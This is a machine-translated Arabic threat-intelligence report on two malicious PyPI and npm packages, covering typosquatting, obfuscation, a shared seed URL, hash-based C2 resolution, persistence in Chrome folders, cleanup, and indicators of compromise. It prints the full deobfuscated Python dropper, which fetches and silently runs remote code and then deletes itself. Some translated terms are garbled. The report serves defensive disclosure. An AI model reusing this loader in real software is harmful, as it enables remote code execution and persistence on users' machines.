لاحظت شركة Xygeni مؤخرًا نمطًا مثيرًا للقلق في مشهد هجمات سلسلة توريد البرامج في عام 2025، والتي ظهرت عبر مديري حزمتين شائعتين: PyPI و الآلية الوقائية الوطنيةكجزء من جهودنا المستمرة في مجال استخبارات التهديدات،نظام Xygeni للتحذير المبكر من البرامج الضارة (MEW) حددت الأداة حالةً مميزةً، وإن كانت مشابهةً منهجيًا، لحزمةٍ خبيثةٍ رُفعت إلى سجلٍّ آخر سابقًا. تُسلِّط هذه الحالة الضوء على كيفية تطور الجهات الفاعلة في مجال التهديد وإعادة استخدام أساليب الهجوم عبر الأنظمة البيئية، وخاصةً من خلال حزم بايثون الخبيثة و حزم npm الضارة، مما يزيد من خطر تسلل الحزم الضارة إلى سلاسل التوريد مفتوحة المصدر.
MEW من Xygeni: اكتشاف أوجه التشابه
صُممت أداة MEW من Xygeni للكشف عن الحزم الضارة والإبلاغ عنها، وخاصةً تلك المرتبطة بهجمات سلسلة توريد البرمجيات في عام 2025، فور نشرها في سجلات مفتوحة المصدر. وتعمل الأداة من خلال تحليل الحزم الجديدة للكشف عن أي سلوك مشبوه.
في هذه الحالة، تم تحديد اثنين حزم بايثون الخبيثة (graphalgo على PyPI) و حزم npm الضارة (express-cookie-parser على npm).
هجمات حزم Python وnpm الخبيثة في سلسلة توريد البرمجيات (2025)
دعونا نستكشف الخصائص المشتركة التي أدت إلى ظهور تنبيهاتنا:
Typosquatting
لقد حاول كلاهما انتحال الحزم الشائعة الموجودة.
- graphalgo (PyPI)"حزمة بايثون لإنشاء الرسوم البيانية والشبكات ومعالجتها."تم الرفع بواسطة مستخدم اسمه "لاري تيك" في 13 يونيو 2025، قدمت هذه الحزمة نفسها كبديل PyPi لمشروع graphalgo الأصلي غير الضار، والذي تمت إعادة تسميته لاحقًا إلى graphdict.
- محلل ملفات تعريف الارتباط السريع (npm):تقوم هذه الحزمة بتقليد حزمة محلل ملفات تعريف الارتباط المعروفة، بل وحتى تعكس حزمة ملف README.md. ويعد هذا النوع من التقليد تكتيكًا كلاسيكيًا لتعزيز الثقة القائمة.
التعتيم كخط دفاع أول
قامت كلتا الحزمتين بإخفاء الكود الخبيث الخاص بهما داخل الملفات الأصلية. الرسم البيانيتم العثور على الكود المشفر داخل /utils/load_libraries.py. في حالة محلل ملفات تعريف الارتباط السريع, cookie-loader.min.js احتوت على الحمولة المشوشة.
تُستخدم هذه الطبقة الأولية من التعتيم عادةً لعرقلة الفحص العرضي والتحليل الثابت. كان التعتيم بسيطًا نسبيًا: ضغط ZLib متكرر وترميز Base64. يشير هذا النوع من التعتيم بوضوح إلى أن البرنامج يحاول إخفاء سلوكه. إلى جانب أدلة أخرى، سمح هذا لـ Xygeni MEW بتصنيف الحزم كبرامج ضارة محتملة. خلال مرحلة التأكيد، أعدّ مراجعونا على الفور نصًا برمجيًا لإزالة التعتيم كشف عن مرحلة البرنامج الخبيث الواضح.
تسليم الحمولة متعددة المراحل ونقطة المنشأ المشتركة
عملت كلتا الحزمتين كـ ""أولية""القطارات"، مما مهد الطريق للحمولة الحقيقية. لقد شاركوا في ""خارجي مشترك""بذرة"عنوان الملف:https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
يُعد ملف البذرة الخارجي المتطابق هذا مؤشرًا قويًا على وجود جهة تهديد مشتركة. ومن المثير للاهتمام أن محتوى ملف البذرة هذا يبدو أنه عبارة عن متغيرات بيئية بسيطة (مثل JWT_SECRET وPORT)، مما قد يُضلّل عملية التحقق من وظيفته الفعلية.
دقة C2 الديناميكية مع DGA
من الأساليب المتطورة التي لوحظت في هذه الحزم الخبيثة استخدام خوارزمية توليد النطاق (DGA) لحل مشكلة خادم القيادة والتحكم (C2) ديناميكيًا. تعتمد هذه التقنية، التي تُستخدم غالبًا في هجمات سلسلة توريد البرمجيات المتقدمة في عام 2025، على تجزئة SHA256 مشتقة من محتوى ملف البذرة، مقترنة بقيم مبرمجة مسبقًا أخرى. يؤدي ذلك إلى تغير بنية C2 التحتية بشكل متكرر، مما يجعل عملية حظر الوصول التقليدية أقل فعالية بكثير. في هذه الحالة، استخدم متغير npm قيمة ثابتة قدرها 496AAC7E كجزء من منطق DGA الخاص بها.
تأسيس الثبات
سعى كلا المهاجمين إلى ترسيخ وجود دائم على الأنظمة المتأثرة. وتضمنت استراتيجيتهما إسقاط ملف، startup.py (بالنسبة لـ PyPi) أو startup.js (بالنسبة لـ npm)، إلى أدلة بيانات مستخدمي Google Chrome الشائعة عبر أنظمة التشغيل المختلفة (Windows وLinux وmacOS).
التنظيف بعد التنفيذ
لتقليل آثار البرامج الضارة، أجرى كلا البرنامجين الخبيثين عمليات تنظيف. شمل ذلك حذف ملفاتهما الأصلية (load_libraries.py, cookie-loader.min.js) وتعديل ملفات الحزمة المشروعة (__init__.py, index.js) لإزالة الإشارات إلى المكونات المحذوفة الآن.
مؤشرات الاختراق في حزم Python وnpm الضارة
- حزمة PyPI:graphalgo (نُشر بواسطة larrytech، ١٣ يونيو ٢٠٢٥)
- حزمة npm: express-cookie-parser (خاصةً الإصدار 1.4.12)
- الوصول إلى عنوان URL للبذرة المشتركة:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
- أسماء الملفات الثابتة:
startup.py(بايثون)startup.js(جافا سكريبت) - المسارات الثابتة الشائعة (تعتمد على نظام التشغيل):ضمن أدلة بيانات مستخدمي Google Chrome (على سبيل المثال،
AppData\Local\Google\Chrome\UserData\Scripts\على ويندوز،~/.config/google-chrome/Scripts/على لينكس، وما إلى ذلك).
كيفية الدفاع ضد الحزم الضارة في هجمات سلسلة توريد البرامج 2025
النهج الموصى به للمطورين
تُعدّ هذه الحادثة دراسة حالة قيّمة في مشهد التهديدات المتطور لهجمات سلسلة توريد البرمجيات في عام ٢٠٢٥. وتُسلّط الضوء على كيفية تسلل حزم بايثون وحزم npm الخبيثة إلى الأنظمة الموثوقة، متجنبةً في كثير من الأحيان الكشف عنها حتى فوات الأوان. ولذلك، يُعدّ الكشف المبكر، والأدوات الذكية، والنظافة الاستباقية للنظام الآن عناصر أساسية في أي سير عمل DevOps آمن. نشجع المطورين على مراعاة ما يلي:
مراجعة التبعية
إذا كانت مشاريعك قد تضمنت الرسم البياني or محلل ملفات تعريف الارتباط السريع، سيكون من الحكمة المضي قدمًا في إزالتها.
- بالنسبة لـ PyPI:
pip uninstall graphalgo - بالنسبة لـ npm:
npm uninstall express-cookie-parser
نظافة النظام
فكّر في إجراء فحص شامل للنظام. يُنصح أيضًا بالتحقق يدويًا من مسارات بيانات مستخدمي Chrome الشائعة بحثًا عن أي أخطاء غير متوقعة. startup.py or startup.js الملفات.
تدابير أمنية استباقية
- تقييم التبعيات الجديدة:إنشاء روتين لتقييم الحزم الجديدة بشكل شامل قبل التكامل، مع التركيز على تلك القادمة من الناشرين غير المألوفين.
- دمج أدوات الأمان:أدوات مثل MEW من Xygeni، إلى جانب برامج تحليل التركيب الأخرى (SCA) يمكن للحلول أن توفر طبقة دفاعية حاسمة من خلال تحديد السلوكيات والثغرات المشبوهة.
- امتياز أقل:إن تشغيل بيئات التطوير بمبدأ الحد الأدنى من الامتيازات قد يساعد في الحد من التأثير المحتمل للتسوية.
- الوعي الشبكي:قد يؤدي مراقبة حركة مرور الشبكة الصادرة بحثًا عن اتصالات غير عادية في بعض الأحيان إلى الكشف عن اتصالات C2 التي تم إنشاؤها بواسطة DGA.
المكونات الرئيسية لـ load_libraries.py (من graphalgo)
import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request
url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()
python_path = sys.executable
def download_remote_content(url, output_path):
try:
req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
with urlopen(req) as response, open(output_path, "wb") as out_file:
if response.status != 200:
print(f"Failed to download the file. Status code: {response.status}")
return False
data = response.read()
out_file.write(data)
return True
except Exception as e:
print(f"Download failed: {e}")
return False
def run_process(path_to_script, params=[]):
if sys.platform.startswith("win"):
creationflags = subprocess.CREATE_NO_WINDOW
subprocess.Popen(
[sys.executable, path_to_script, *params],
creationflags=creationflags,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
else:
subprocess.Popen(
[sys.executable, path_to_script, *params],
start_new_session=True,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
close_fds=True
)
def get_output_file_path():
py_file_path = None
home_dir = os.path.expanduser("~")
platform = os.sys.platform
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config", "google-chrome")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")
if not os.path.exists(py_file_path):
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support")
# Ensure base directory exists
os.makedirs(py_file_path, exist_ok=True)
script_path = os.path.join(py_file_path, "Scripts")
os.makedirs(script_path, exist_ok=True)
py_file_path = os.path.join(script_path, "startup.py")
return py_file_path
def remove_self():
# Remove this script file
os.remove(__file__)
# Remove \'graph_settings.py\' in the same directory
graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
if os.path.exists(graph_settings_path):
os.remove(graph_settings_path)
# Modify \'../classes/digraph.py\' if it exists
graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
graph_file_path = os.path.abspath(graph_file_path) # Normalize path
init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
init_file_path = os.path.abspath(init_file_path) # Normalize path
# replace content of the __init__.py file
if os.path.exists(init_file_path):
with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("from networkx.utils.graph_settings import *", "") \\
.replace("from networkx.utils.load_libraries import *", "")
with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
# replace content of the __init__.py file
if os.path.exists(graph_file_path):
with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\
with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
def simple_shift_encrypt(text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])
return base64.encode(encrypted_bytes).decode()
def simple_shift_decrypt(encoded_text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = base64.b64decode(encoded_text)
decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])
return decrypted
def load_libraries(key):
max_retry_count = 3
output_file_path = get_output_file_path()
encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"
for _ in range(max_retry_count):
if not download_remote_content(remove_url, output_file_path):
time.sleep(2)
continue
download_url = ""
with open(output_file_path, "rb") as f:
file_content = f.read()
sha256_hash = hashlib.sha256()
sha256_hash.update(file_content + key.encode())
password = sha256_hash.digest()
download_url = simple_shift_decrypt(encoded, password)
if not download_url or not download_remote_content(download_url, output_file_path):
time.sleep(2)
continue
os.chmod(output_file_path, 0o755)
run_process(output_file_path)
time.sleep(1)
remove_self()
break
if __name__ == "__main__":
if len(sys.argv) >= 2:
load_libraries(sys.argv[1])
download_remote_content(): يتعامل مع جلب الملفات من عناوين URL المحددة.run_process():تنفيذ البرامج النصية الخارجية لـ Python بطريقة منفصلة، وقمع الإخراج ليظل منفصلاً.get_output_file_path():يحدد موقع النظام المثالي لملف startup.py المستمر.remove_self():يقوم بتنظيم عملية تنظيف ما بعد التنفيذ للملفات الضارة الأولية وتعديلات الحزمة.simple_shift_encrypt()/simple_shift_decrypt():وظائف تشفير مخصصة لإخفاء قنوات الاتصال، وهي ضرورية لتنفيذ DGA.load_libraries():الوظيفة المركزية التي تنسق العملية متعددة المراحل بأكملها، من التنزيل الأولي إلى تنفيذ الحمولة النهائية والتنظيف.
بعد
كما هو الحال مع الحزم الضارة المحتملة الأخرى التي حددها MEW، قام جدار حماية التبعيات بحماية المستخدمين الذين يُدرجون هذه الحزم الضارة في تبعياتهم فورًا. بعد التأكيد، اتبعنا إجراءات الإشعار لكلا السجلين، والتي أدت بعد المراجعة إلى إزالة الحزمتين.





